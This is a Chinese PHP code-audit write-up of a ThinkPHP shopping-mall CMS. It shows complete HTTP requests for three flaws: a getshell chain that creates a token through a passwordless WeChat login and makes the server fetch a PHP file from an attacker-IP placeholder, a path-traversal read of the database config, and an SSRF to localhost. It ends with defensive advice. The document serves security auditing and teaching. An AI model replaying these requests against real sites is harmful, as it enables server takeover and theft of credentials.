商城 cms 审计 | php代码审计
字数 1386 2025-08-29 08:31:41
PHP代码审计实战:商城CMS漏洞挖掘与分析
0x00 前言与基础知识
学习前提
- 熟悉PHP语法基础
- 了解MVC架构模式(Model-View-Controller)
- 掌握SQL预编译技术
- 了解常见危险函数及其风险
审计方法
- 黑盒测试:通过AWVS等扫描工具进行漏洞扫描
- 白盒审计:通过搜索危险函数寻找漏洞点
0x01 环境说明
- Web服务器:Apache 2.4.46
- 数据库:MySQL 5.7.34
- PHP版本:7.4.21
- 框架:ThinkPHP 5.0.24
0x02 漏洞挖掘:远程文件上传Getshell
1. 发现危险函数
通过全局搜索fopen函数,在api目录下发现download_img函数:
function download_img($url, $path) {
// 直接使用curl访问提供的url
// path变量未做任何过滤
}
风险点:
url和path参数完全可控- 无任何过滤措施
2. Token获取分析
伪造Token思路
- 跟踪Token生成逻辑:
- 位于
app\common\logic\TokenLogic.php - Token格式:
$type-$user_id-microtime - 校验方式:数据库查询验证
- 位于
结论:无法直接伪造,必须通过合法途径获取
间接获取Token方法
发现wxLogin函数提供无密码登录方式:
function wxLogin() {
// 用户不存在时可创建新用户
// 通过后会生成新token
}
利用方式:
POST /api/login/wx_login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
openid=1&unionid=1&sex=1&head_img=1&nickname=1
3. 漏洞复现步骤
-
获取Token:
- 通过wx_login接口获取有效token
-
准备恶意文件:
echo '<?php phpinfo();' > index.php python -m http.server 8099 -
执行文件上传:
POST /api/User/download_img HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded access_token=获取的token&url=http://攻击者IP:8099/index.php&path=info.php -
验证:
- 访问
http://target.com/info.php确认文件上传成功
- 访问
0x03 漏洞挖掘:任意文件读取
1. 漏洞分析
发现file_get_contents危险函数使用:
function getFileBinary() {
$file = file_get_contents($_POST['url']);
return base64_encode(chunk_split($file));
}
风险点:
url参数完全可控- 无任何路径限制或过滤
- 可读取服务器任意文件
2. 漏洞复现
POST /api/Index/getFileBinary HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
url=../application/database.php
数据处理:
- 获取base64编码响应
- 去除
\r\n换行符:a.replaceAll('\r\n', '') - 解码获取原始文件内容
扩展利用:
- 可作为有回显的SSRF使用
- 可读取内网服务信息
0x04 漏洞挖掘:SSRF漏洞
1. 漏洞分析
发现curl_exec危险函数使用:
function curl_upload_image() {
// url参数可控
// 可发起任意HTTP请求
}
风险点:
url参数完全可控- 无协议限制或内网防护
2. 漏洞复现
POST /api/Image/curl_upload_image HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
url=http://127.0.0.1:8088&file[tmp_name]=1&file[type]=1&file[name]=1
特点:
- 无回显SSRF
- 可探测内网服务
0x05 总结与防御建议
漏洞共性
- 用户输入未经验证直接使用
- 危险函数无防护措施
- 权限校验不完善
防御建议
-
文件操作安全:
- 限制文件操作目录
- 验证文件路径合法性
- 禁用危险函数或严格过滤参数
-
认证安全:
- Token应使用强加密算法
- 避免提供无密码登录方式
- 实现完善的权限控制系统
-
输入验证:
// 示例:安全文件路径检查 function safe_path($path) { $realpath = realpath($path); if(strpos($realpath, '/allowed/dir/') !== 0) { die('Invalid path'); } return $realpath; } -
SSRF防护:
- 禁用非常用协议(如file://, gopher://等)
- 过滤内网IP请求
- 使用白名单域名限制
-
日志监控:
- 记录所有文件操作
- 监控异常请求模式
附录:危险函数列表
| 函数名 | 风险类型 | 安全建议 |
|---|---|---|
| fopen | 文件操作 | 限制路径,验证参数 |
| file_get_contents | 文件读取/SSRF | 严格过滤输入 |
| curl_exec | SSRF | 限制目标URL |
| system/exec | 命令注入 | 避免使用或严格过滤 |
| unserialize | 反序列化 | 避免使用不可信数据 |